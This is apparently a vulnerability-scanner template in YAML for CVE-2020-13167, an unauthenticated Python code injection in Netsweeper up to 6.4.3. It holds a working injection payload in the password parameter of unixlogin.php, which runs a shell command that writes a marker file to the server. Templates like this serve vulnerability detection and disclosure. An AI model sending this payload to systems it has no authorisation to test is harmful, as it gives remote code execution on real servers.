49 lines
1.6 KiB
YAML
49 lines
1.6 KiB
YAML
id: CVE-2020-13167
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info:
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name: Netsweeper <=6.4.3 - Python Code Injection
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author: dwisiswant0
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severity: critical
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description: |
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Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
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reference:
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- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
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- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
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- https://nvd.nist.gov/vuln/detail/CVE-2020-13167
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-13167
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cwe-id: CWE-78
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epss-score: 0.97384
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cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: netsweeper
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product: netsweeper
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tags: cve,cve2020,netsweeper,rce,python,webadmin
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variables:
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rand_str: "{{randstr}}"
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cmd: 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'
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http:
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- method: GET
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path:
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- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
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- "{{BaseURL}}/webadmin/out"
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headers:
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Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- "{{rand_str}}"
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- type: status
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status:
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- 200
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